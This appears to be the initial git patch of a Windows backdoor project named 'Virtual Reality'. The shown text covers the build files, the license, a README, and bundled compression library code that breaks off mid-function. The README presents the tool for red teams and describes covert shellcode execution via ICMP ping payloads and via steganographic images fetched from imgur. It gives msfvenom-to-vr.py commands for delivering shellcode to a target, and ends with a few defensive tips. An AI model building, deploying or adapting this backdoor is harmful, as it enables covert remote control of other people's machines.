From a3618bca828ecf3713d6860459ad359c56887d40 Mon Sep 17 00:00:00 2001 From: Rokas Kupstys Date: Wed, 6 Feb 2019 12:35:06 +0200 Subject: [PATCH] Hello World. --- .gitattributes | 1 + .gitignore | 3 + CMakeLists.txt | 54 + LICENSE | 21 + README.md | 100 + dep/CMakeLists.txt | 30 + dep/mini-gzip/CMakeLists.txt | 28 + dep/mini-gzip/mini_gzip.c | 138 + dep/mini-gzip/mini_gzip.h | 80 + dep/miniz/CMakeLists.txt | 27 + dep/miniz/miniz.c | 3988 +++ dep/miniz/miniz.h | 930 + dep/ntdll/CMakeLists.txt | 27 + dep/ntdll/LICENSE | 21 + dep/ntdll/ntdll.def | 1234 + dep/ntdll/ntdll.h | 22443 ++++++++++++++++ dep/ntdll/ntstatus.h | 10243 +++++++ dep/picopng/CMakeLists.txt | 28 + dep/picopng/picopng.cpp | 345 + dep/picopng/picopng.h | 8 + dep/tiny-json/CMakeLists.txt | 27 + dep/tiny-json/LICENSE | 21 + dep/tiny-json/tiny-json.c | 463 + dep/tiny-json/tiny-json.h | 176 + dep/tinystl/CMakeLists.txt | 26 + dep/tinystl/include/stl/LICENSE | 23 + dep/tinystl/include/stl/README.md | 27 + dep/tinystl/include/stl/allocator.h | 49 + dep/tinystl/include/stl/allocator_default.h | 49 + dep/tinystl/include/stl/array.h | 178 + dep/tinystl/include/stl/buffer.h | 303 + dep/tinystl/include/stl/detail/ref.h | 80 + dep/tinystl/include/stl/function.h | 74 + dep/tinystl/include/stl/hash.h | 234 + dep/tinystl/include/stl/hash_base.h | 229 + dep/tinystl/include/stl/list.h | 288 + dep/tinystl/include/stl/memory.h | 355 + dep/tinystl/include/stl/new.h | 42 + dep/tinystl/include/stl/resource_collection.h | 62 + dep/tinystl/include/stl/smallvector.h | 684 + dep/tinystl/include/stl/stddef.h | 44 + dep/tinystl/include/stl/string.h | 777 + dep/tinystl/include/stl/string_view.h | 147 + dep/tinystl/include/stl/tinystl.natvis | 72 + dep/tinystl/include/stl/traits.h | 85 + dep/tinystl/include/stl/unordered_map.h | 260 + dep/tinystl/include/stl/unordered_set.h | 215 + dep/tinystl/include/stl/utils.h | 47 + dep/tinystl/include/stl/vector.h | 384 + script/__init__.py | 0 script/ping.py | 75 + script/png.py | 2269 ++ src/CMakeLists.txt | 26 + src/config.h | 43 + src/shared/CMakeLists.txt | 28 + src/shared/coroutine.cpp | 124 + src/shared/coroutine.h | 69 + src/shared/crt.cpp | 58 + src/shared/debug.cpp | 102 + src/shared/debug.h | 49 + src/shared/math.cpp | 35 + src/shared/math.h | 27 + src/shared/process_hollowing.cpp | 239 + src/shared/process_hollowing.h | 38 + src/shared/rc4.cpp | 51 + src/shared/rc4.h | 32 + src/shared/win32.cpp | 32 + src/shared/win32.h | 29 + src/shared/winhttp.cpp | 243 + src/shared/winhttp.h | 71 + src/vr/CMakeLists.txt | 5 + src/vr/context.h | 33 + src/vr/icmp.cpp | 240 + src/vr/icmp.hpp | 99 + src/vr/imgur.cpp | 155 + src/vr/main.cpp | 50 + src/vr/payload.cpp | 110 + vr.py | 202 + 78 files changed, 49704 insertions(+) create mode 100644 .gitattributes create mode 100644 .gitignore create mode 100644 CMakeLists.txt create mode 100644 LICENSE create mode 100644 README.md create mode 100644 dep/CMakeLists.txt create mode 100644 dep/mini-gzip/CMakeLists.txt create mode 100644 dep/mini-gzip/mini_gzip.c create mode 100644 dep/mini-gzip/mini_gzip.h create mode 100644 dep/miniz/CMakeLists.txt create mode 100644 dep/miniz/miniz.c create mode 100644 dep/miniz/miniz.h create mode 100644 dep/ntdll/CMakeLists.txt create mode 100644 dep/ntdll/LICENSE create mode 100644 dep/ntdll/ntdll.def create mode 100644 dep/ntdll/ntdll.h create mode 100644 dep/ntdll/ntstatus.h create mode 100644 dep/picopng/CMakeLists.txt create mode 100644 dep/picopng/picopng.cpp create mode 100644 dep/picopng/picopng.h create mode 100644 dep/tiny-json/CMakeLists.txt create mode 100644 dep/tiny-json/LICENSE create mode 100644 dep/tiny-json/tiny-json.c create mode 100644 dep/tiny-json/tiny-json.h create mode 100644 dep/tinystl/CMakeLists.txt create mode 100644 dep/tinystl/include/stl/LICENSE create mode 100644 dep/tinystl/include/stl/README.md create mode 100644 dep/tinystl/include/stl/allocator.h create mode 100644 dep/tinystl/include/stl/allocator_default.h create mode 100644 dep/tinystl/include/stl/array.h create mode 100644 dep/tinystl/include/stl/buffer.h create mode 100644 dep/tinystl/include/stl/detail/ref.h create mode 100644 dep/tinystl/include/stl/function.h create mode 100644 dep/tinystl/include/stl/hash.h create mode 100644 dep/tinystl/include/stl/hash_base.h create mode 100644 dep/tinystl/include/stl/list.h create mode 100644 dep/tinystl/include/stl/memory.h create mode 100644 dep/tinystl/include/stl/new.h create mode 100644 dep/tinystl/include/stl/resource_collection.h create mode 100644 dep/tinystl/include/stl/smallvector.h create mode 100644 dep/tinystl/include/stl/stddef.h create mode 100644 dep/tinystl/include/stl/string.h create mode 100644 dep/tinystl/include/stl/string_view.h create mode 100644 dep/tinystl/include/stl/tinystl.natvis create mode 100644 dep/tinystl/include/stl/traits.h create mode 100644 dep/tinystl/include/stl/unordered_map.h create mode 100644 dep/tinystl/include/stl/unordered_set.h create mode 100644 dep/tinystl/include/stl/utils.h create mode 100644 dep/tinystl/include/stl/vector.h create mode 100644 script/__init__.py create mode 100644 script/ping.py create mode 100644 script/png.py create mode 100644 src/CMakeLists.txt create mode 100644 src/config.h create mode 100644 src/shared/CMakeLists.txt create mode 100644 src/shared/coroutine.cpp create mode 100644 src/shared/coroutine.h create mode 100644 src/shared/crt.cpp create mode 100644 src/shared/debug.cpp create mode 100644 src/shared/debug.h create mode 100644 src/shared/math.cpp create mode 100644 src/shared/math.h create mode 100644 src/shared/process_hollowing.cpp create mode 100644 src/shared/process_hollowing.h create mode 100644 src/shared/rc4.cpp create mode 100644 src/shared/rc4.h create mode 100644 src/shared/win32.cpp create mode 100644 src/shared/win32.h create mode 100644 src/shared/winhttp.cpp create mode 100644 src/shared/winhttp.h create mode 100644 src/vr/CMakeLists.txt create mode 100644 src/vr/context.h create mode 100644 src/vr/icmp.cpp create mode 100644 src/vr/icmp.hpp create mode 100644 src/vr/imgur.cpp create mode 100644 src/vr/main.cpp create mode 100644 src/vr/payload.cpp create mode 100755 vr.py diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..ffb1739 --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +* text=lf diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e7962aa --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +.* +__pycache__ +*.pyc diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..d9d4329 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,54 @@ +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# + +cmake_minimum_required(VERSION 3.8) + +project(VR) + +set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib) +set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib) +set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin) +set(CMAKE_CXX_STANDARD 17) + +if (NOT WIN32) + message(FATAL_ERROR "This project is meant for Windows platform only") +endif () + +if (NOT MINGW) + message(FATAL_ERROR "This project builds only with MingW") +endif () + +set (EXTRA_LINKER_FLAGS "-nodefaultlibs -dynamic -ffunction-sections -fdata-sections -Wl,-gc-sections") +set (CMAKE_SHARED_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} ${EXTRA_LINKER_FLAGS}") +set (CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} ${EXTRA_LINKER_FLAGS}") +set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fno-rtti -fno-exceptions") +set (CMAKE_C_FLAGS_MINSIZEREL "${CMAKE_C_FLAGS_MINSIZEREL} -s -DNDEBUG") +set (CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_MINSIZEREL} -s -DNDEBUG") +set (CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -D_DEBUG") +set (CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -D_DEBUG") +set (CMAKE_C_FLAGS_RELWITHDEBINFO "${CMAKE_C_FLAGS_RELWITHDEBINFO} -D_DEBUG") +set (CMAKE_CXX_FLAGS_RELWITHDEBINFO "${CMAKE_CXX_FLAGS_RELWITHDEBINFO} -D_DEBUG") + +add_subdirectory(dep) +add_subdirectory(src) diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..6253d11 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2019 Rokas Kupstys + +Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the "Software"), +to deal in the Software without restriction, including without limitation +the rights to use, copy, modify, merge, publish, distribute, sublicense, +and/or sell copies of the Software, and to permit persons to whom the +Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..d2d2124 --- /dev/null +++ b/README.md @@ -0,0 +1,100 @@ +Virtual Reality +=============== + +This is a backdoor project for windows operating systems. + +## Intended audience + +This is a proof-of-concept stealthy backdoor aimed to aid red teams in maintaining +control of their targets during security evaluation process. Project also intends +to expose ways to abuse standard features. + +## Features + +Extremely stealthy backdoor for Windows platform. + +* ICMP-PING backdoor. Passively listens for incoming pings and executes shellcode +delivered in ping payload. +* HTTP backdoor using steganographically encoded images hosted on imgur.com +* Runs on anything from XP to W10 + +## Details + +* Small size by using tinystl and avoiding standard c++ stl +* Cooperative multitasking achieved by using Windows fibers +* All dependencies are permissively licensed +* Permissively licensed, including all dependencies + +## Build instructions + +Compile using MingW compiler from msys2 distribution. Preferred IDE is CLion. + +Compiled artifacts will be found in `cmake-build-*/bin` folder. + +## Instructions + +Modify `config.h` to suit your needs. + +Use `vr.py` to interact with the backdoor. + +### Shellcode payload + +`vr.py shellcode path/to/shellcode.bin` reads shellcode into script's memory. +On it's own this is useless therefore combine it with other commands. You may +use `-` instead of path in order to read shellcode from `stdin`. + +### Ping transport + +`msfvenom <...> | vr.py shellcode - -- ping 192.168.0.1` reads a shellcode from +`stdin` and sends it via icmp-ping to `192.168.0.1`. Backdoor running on that +machine will execute this shellcode. + +Shellcode will be delivered to the target by sending it as ICMP-PING packet payload. + +![ping-demo](https://user-images.githubusercontent.com/19151258/52339219-2c742600-2a15-11e9-95b0-212485421e35.png) + +Content of packet appears to be random. The only give-away that something is up +is a rather big packet size, although it is possible to customized packet size +using ping utility or specify custom payload (linux). + +### imgur.com transport + +`msfvenom <...> | vr.py shellcode - -- png path/to/image.png` reads a shellcode +from `stdin` and encodes into specified `image.png`. This image must exist and +it must be in RGB format (no alpha). Resulting image should be uploaded to +https://imgur.com/ and tagged with one or more tags while one of tags must be +one that is specified in `config.h`. + +Shellcode will be encoded into specified image by altering last two bits of +each color component in the target image. 1 byte needs 4 color components +to be encoded and thus requires 1.(3) pixels. Encoded images are indistinguishable +from original to the naked eye. Backdoor queries imgur API for listing images +tagged with a configured tag. Every new image is downloaded and inspected for +encoded payload. + +![steg-demo](https://user-images.githubusercontent.com/19151258/52338654-adcab900-2a13-11e9-9887-3a55cde9dc36.png) + +Left - original image. Right - image with encoded payload. Bottom - difference mask. +120x75 image was used. As you can see only a tiny portion of pretty small iamge is used +to encode 449 bytes payload. + +## Security + +Payload is always obfuscated using RC4 algorithm. As you probably have guessed +replay attacks are a thing against this backdoor. Also backdoor may be controlled +by a rival blue team if they have reverse-engineered sample and recovered RC4 +key. Utmost security is not the point of this project. If blue team is on to the +backdoor - nothing will save it anyway. + +## Recommendations + +* If possible - filter out ICMP-PING packets with in firewall +* Take a proactive approach in monitoring your networks. Log everything and +look for abnormalities. Chances are your servers have no business querying +imgur.com or similar social media domains. + +## etc + +Q: Why this name? This has nothing to do with virtual reality. + +A: Nothing at all. And no reason really. Naming is hard. diff --git a/dep/CMakeLists.txt b/dep/CMakeLists.txt new file mode 100644 index 0000000..72508be --- /dev/null +++ b/dep/CMakeLists.txt @@ -0,0 +1,30 @@ +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# + +add_subdirectory(ntdll) +add_subdirectory(tinystl) +add_subdirectory(miniz) +add_subdirectory(mini-gzip) +add_subdirectory(picopng) +add_subdirectory(tiny-json) diff --git a/dep/mini-gzip/CMakeLists.txt b/dep/mini-gzip/CMakeLists.txt new file mode 100644 index 0000000..1074e47 --- /dev/null +++ b/dep/mini-gzip/CMakeLists.txt @@ -0,0 +1,28 @@ +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# + +file(GLOB_RECURSE SOURCE_FILES *.c *.h) +add_library(mini-gzip STATIC ${SOURCE_FILES}) +target_link_libraries(mini-gzip PUBLIC miniz) +target_include_directories(mini-gzip PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}) diff --git a/dep/mini-gzip/mini_gzip.c b/dep/mini-gzip/mini_gzip.c new file mode 100644 index 0000000..cbd3c8b --- /dev/null +++ b/dep/mini-gzip/mini_gzip.c @@ -0,0 +1,138 @@ +/* + * BSD 2-clause license + * Copyright (c) 2013 Wojciech A. Koszek + * + * Based on: + * + * https://github.com/strake/gzip.git + * + * I had to rewrite it, since strake's version was powered by UNIX FILE* API, + * while the key objective was to perform memory-to-memory operations + */ + +#include +#include +#include + +#ifdef MINI_GZ_DEBUG +#include +#endif + +#include +#include "mini_gzip.h" + +int +mini_gz_start(struct mini_gzip *gz_ptr, void *mem, size_t mem_len) +{ + uint8_t *hptr, *hauxptr, *mem8_ptr; + uint16_t fextra_len; + + assert(gz_ptr != NULL); + + mem8_ptr = (uint8_t *)mem; + hptr = mem8_ptr + 0; // .gz header + hauxptr = mem8_ptr + 10; // auxillary header + + gz_ptr->hdr_ptr = hptr; + gz_ptr->data_ptr = 0; + gz_ptr->data_len = 0; + gz_ptr->total_len = mem_len; + gz_ptr->chunk_size = 1024; + + if (hptr[0] != 0x1F || hptr[1] != 0x8B) { + GZDBG("hptr[0] = %02x hptr[1] = %02x\n", hptr[0], hptr[1]); + return (-1); + } + if (hptr[2] != 8) { + return (-2); + } + if (hptr[3] & 0x4) { + fextra_len = hauxptr[1] << 8 | hauxptr[0]; + gz_ptr->fextra_len = fextra_len; + hauxptr += 2; + gz_ptr->fextra_ptr = hauxptr; + } + if (hptr[3] & 0x8) { + gz_ptr->fname_ptr = hauxptr; + while (*hauxptr != '\0') { + hauxptr++; + } + hauxptr++; + } + if (hptr[3] & 0x10) { + gz_ptr->fcomment_ptr = hauxptr; + while (*hauxptr != '\0') { + hauxptr++; + } + hauxptr++; + } + if (hptr[3] & 0x2) /* FCRC */ { + gz_ptr->fcrc = (*(uint16_t *)hauxptr); + hauxptr += 2; + } + gz_ptr->data_ptr = hauxptr; + gz_ptr->data_len = mem_len - (hauxptr - hptr); + gz_ptr->magic = MINI_GZIP_MAGIC; + return (0); +} + +void +mini_gz_chunksize_set(struct mini_gzip *gz_ptr, int chunk_size) +{ + + assert(gz_ptr != 0); + assert(gz_ptr->magic == MINI_GZIP_MAGIC); + gz_ptr->chunk_size = chunk_size; +} + +void +mini_gz_init(struct mini_gzip *gz_ptr) +{ + + memset(gz_ptr, 0xffffffff, sizeof(*gz_ptr)); + gz_ptr->magic = MINI_GZIP_MAGIC; + mini_gz_chunksize_set(gz_ptr, 1024); +} + + +int +mini_gz_unpack(struct mini_gzip *gz_ptr, void *mem_out, size_t mem_out_len) +{ + z_stream s; + int ret, in_bytes_avail, bytes_to_read; + + assert(gz_ptr != 0); + assert(gz_ptr->data_len > 0); + assert(gz_ptr->magic == MINI_GZIP_MAGIC); + + memset (&s, 0, sizeof (z_stream)); + inflateInit2(&s, -MZ_DEFAULT_WINDOW_BITS); + in_bytes_avail = gz_ptr->data_len; + s.avail_out = mem_out_len; + s.next_in = gz_ptr->data_ptr; + s.next_out = mem_out; + for (;;) { + bytes_to_read = MINI_GZ_MIN(gz_ptr->chunk_size, in_bytes_avail); + s.avail_in += bytes_to_read; + ret = mz_inflate(&s, MZ_SYNC_FLUSH); + in_bytes_avail -= bytes_to_read; + if (s.avail_out == 0 && in_bytes_avail != 0) { + return (-3); + } + assert(ret != MZ_BUF_ERROR); + if (ret == MZ_PARAM_ERROR) { + return (-1); + } + if (ret == MZ_DATA_ERROR) { + return (-2); + } + if (ret == MZ_STREAM_END) { + break; + } + } + ret = inflateEnd(&s); + if (ret != Z_OK) { + return (-4); + } + return (s.total_out); +} diff --git a/dep/mini-gzip/mini_gzip.h b/dep/mini-gzip/mini_gzip.h new file mode 100644 index 0000000..4e29395 --- /dev/null +++ b/dep/mini-gzip/mini_gzip.h @@ -0,0 +1,80 @@ +/* + * BSD 2-clause license + * Copyright (c) 2013 Wojciech A. Koszek + * + * Based on: + * + * https://github.com/strake/gzip.git + * + * I had to rewrite it, since strake's version was powered by UNIX FILE* API, + * while the key objective was to perform memory-to-memory operations + */ +#ifndef _MINI_GZIP_H_ +#define _MINI_GZIP_H_ + +#define MAX_PATH_LEN 1024 +#define MINI_GZ_MIN(a, b) ((a) < (b) ? (a) : (b)) + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +struct mini_gzip { + size_t total_len; + size_t data_len; + size_t chunk_size; + + uint32_t magic; +#define MINI_GZIP_MAGIC 0xbeebb00b + + uint16_t fcrc; + uint16_t fextra_len; + + uint8_t *hdr_ptr; + uint8_t *fextra_ptr; + uint8_t *fname_ptr; + uint8_t *fcomment_ptr; + + uint8_t *data_ptr; + uint8_t pad[3]; +}; + +/* mini_gzip.c */ +extern int mini_gz_start(struct mini_gzip *gz_ptr, void *mem, size_t mem_len); +extern void mini_gz_chunksize_set(struct mini_gzip *gz_ptr, int chunk_size); +extern void mini_gz_init(struct mini_gzip *gz_ptr); +extern int mini_gz_unpack(struct mini_gzip *gz_ptr, void *mem_out, size_t mem_out_len); + +#define func_fprintf fprintf +#define func_fflush fflush + +#define MINI_GZ_STREAM stderr + +#ifdef MINI_GZ_DEBUG +#define GZAS(comp, ...) do { \ + if (!((comp))) { \ + func_fprintf(MINI_GZ_STREAM, "Error: "); \ + func_fprintf(MINI_GZ_STREAM, __VA_ARGS__); \ + func_fprintf(MINI_GZ_STREAM, ", %s:%d\n", __func__, __LINE__); \ + func_fflush(MINI_GZ_STREAM); \ + exit(1); \ + } \ +} while (0) + +#define GZDBG(...) do { \ + func_fprintf(MINI_GZ_STREAM, "%s:%d ", __func__, __LINE__); \ + func_fprintf(MINI_GZ_STREAM, __VA_ARGS__); \ + func_fprintf(MINI_GZ_STREAM, "\n"); \ +} while (0) +#else /* MINI_GZ_DEBUG */ +#define GZAS(comp, ...) +#define GZDBG(...) +#endif + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/dep/miniz/CMakeLists.txt b/dep/miniz/CMakeLists.txt new file mode 100644 index 0000000..34185f6 --- /dev/null +++ b/dep/miniz/CMakeLists.txt @@ -0,0 +1,27 @@ +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# + +file(GLOB_RECURSE SOURCE_FILES *.c *.h) +add_library(miniz STATIC ${SOURCE_FILES}) +target_include_directories(miniz PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}) diff --git a/dep/miniz/miniz.c b/dep/miniz/miniz.c new file mode 100644 index 0000000..327339a --- /dev/null +++ b/dep/miniz/miniz.c @@ -0,0 +1,3988 @@ +#include "miniz.h" +#ifndef MINIZ_HEADER_FILE_ONLY + +typedef unsigned char mz_validate_uint16[sizeof(mz_uint16)==2 ? 1 : -1]; +typedef unsigned char mz_validate_uint32[sizeof(mz_uint32)==4 ? 1 : -1]; +typedef unsigned char mz_validate_uint64[sizeof(mz_uint64)==8 ? 1 : -1]; + +#include +#include + +#define MZ_ASSERT(x) assert(x) + +#ifdef MINIZ_NO_MALLOC + #define MZ_MALLOC(x) NULL + #define MZ_FREE(x) (void)x, ((void)0) + #define MZ_REALLOC(p, x) NULL +#else + #define MZ_MALLOC(x) malloc(x) + #define MZ_FREE(x) free(x) + #define MZ_REALLOC(p, x) realloc(p, x) +#endif + +#define MZ_MAX(a,b) (((a)>(b))?(a):(b)) +#define MZ_MIN(a,b) (((a)<(b))?(a):(b)) +#define MZ_CLEAR_OBJ(obj) memset(&(obj), 0, sizeof(obj)) + +#if MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN + #define MZ_READ_LE16(p) *((const mz_uint16 *)(p)) + #define MZ_READ_LE32(p) *((const mz_uint32 *)(p)) +#else + #define MZ_READ_LE16(p) ((mz_uint32)(((const mz_uint8 *)(p))[0]) | ((mz_uint32)(((const mz_uint8 *)(p))[1]) << 8U)) + #define MZ_READ_LE32(p) ((mz_uint32)(((const mz_uint8 *)(p))[0]) | ((mz_uint32)(((const mz_uint8 *)(p))[1]) << 8U) | ((mz_uint32)(((const mz_uint8 *)(p))[2]) << 16U) | ((mz_uint32)(((const mz_uint8 *)(p))[3]) << 24U)) +#endif + +#ifdef _MSC_VER + #define MZ_FORCEINLINE __forceinline +#elif defined(__GNUC__) + #define MZ_FORCEINLINE inline __attribute__((__always_inline__)) +#else + #define MZ_FORCEINLINE inline +#endif + +#ifdef __cplusplus + extern "C" { +#endif + +// ------------------- zlib-style API's + +mz_ulong mz_adler32(mz_ulong adler, const unsigned char *ptr, size_t buf_len) +{ + mz_uint32 i, s1 = (mz_uint32)(adler & 0xffff), s2 = (mz_uint32)(adler >> 16); size_t block_len = buf_len % 5552; + if (!ptr) return MZ_ADLER32_INIT; + while (buf_len) { + for (i = 0; i + 7 < block_len; i += 8, ptr += 8) { + s1 += ptr[0], s2 += s1; s1 += ptr[1], s2 += s1; s1 += ptr[2], s2 += s1; s1 += ptr[3], s2 += s1; + s1 += ptr[4], s2 += s1; s1 += ptr[5], s2 += s1; s1 += ptr[6], s2 += s1; s1 += ptr[7], s2 += s1; + } + for ( ; i < block_len; ++i) s1 += *ptr++, s2 += s1; + s1 %= 65521U, s2 %= 65521U; buf_len -= block_len; block_len = 5552; + } + return (s2 << 16) + s1; +} + +// Karl Malbrain's compact CRC-32. See "A compact CCITT crc16 and crc32 C implementation that balances processor cache usage against speed": http://www.geocities.com/malbrain/ +mz_ulong mz_crc32(mz_ulong crc, const mz_uint8 *ptr, size_t buf_len) +{ + static const mz_uint32 s_crc32[16] = { 0, 0x1db71064, 0x3b6e20c8, 0x26d930ac, 0x76dc4190, 0x6b6b51f4, 0x4db26158, 0x5005713c, + 0xedb88320, 0xf00f9344, 0xd6d6a3e8, 0xcb61b38c, 0x9b64c2b0, 0x86d3d2d4, 0xa00ae278, 0xbdbdf21c }; + mz_uint32 crcu32 = (mz_uint32)crc; + if (!ptr) return MZ_CRC32_INIT; + crcu32 = ~crcu32; while (buf_len--) { mz_uint8 b = *ptr++; crcu32 = (crcu32 >> 4) ^ s_crc32[(crcu32 & 0xF) ^ (b & 0xF)]; crcu32 = (crcu32 >> 4) ^ s_crc32[(crcu32 & 0xF) ^ (b >> 4)]; } + return ~crcu32; +} + +void mz_free(void *p) +{ + MZ_FREE(p); +} + +#ifndef MINIZ_NO_ZLIB_APIS + +static void *def_alloc_func(void *opaque, size_t items, size_t size) { (void)opaque, (void)items, (void)size; return MZ_MALLOC(items * size); } +static void def_free_func(void *opaque, void *address) { (void)opaque, (void)address; MZ_FREE(address); } +static void *def_realloc_func(void *opaque, void *address, size_t items, size_t size) { (void)opaque, (void)address, (void)items, (void)size; return MZ_REALLOC(address, items * size); } + +const char *mz_version(void) +{ + return MZ_VERSION; +} + +int mz_deflateInit(mz_streamp pStream, int level) +{ + return mz_deflateInit2(pStream, level, MZ_DEFLATED, MZ_DEFAULT_WINDOW_BITS, 9, MZ_DEFAULT_STRATEGY); +} + +int mz_deflateInit2(mz_streamp pStream, int level, int method, int window_bits, int mem_level, int strategy) +{ + tdefl_compressor *pComp; + mz_uint comp_flags = TDEFL_COMPUTE_ADLER32 | tdefl_create_comp_flags_from_zip_params(level, window_bits, strategy); + + if (!pStream) return MZ_STREAM_ERROR; + if ((method != MZ_DEFLATED) || ((mem_level < 1) || (mem_level > 9)) || ((window_bits != MZ_DEFAULT_WINDOW_BITS) && (-window_bits != MZ_DEFAULT_WINDOW_BITS))) return MZ_PARAM_ERROR; + + pStream->data_type = 0; + pStream->adler = MZ_ADLER32_INIT; + pStream->msg = NULL; + pStream->reserved = 0; + pStream->total_in = 0; + pStream->total_out = 0; + if (!pStream->zalloc) pStream->zalloc = def_alloc_func; + if (!pStream->zfree) pStream->zfree = def_free_func; + + pComp = (tdefl_compressor *)pStream->zalloc(pStream->opaque, 1, sizeof(tdefl_compressor)); + if (!pComp) + return MZ_MEM_ERROR; + + pStream->state = (struct mz_internal_state *)pComp; + + if (tdefl_init(pComp, NULL, NULL, comp_flags) != 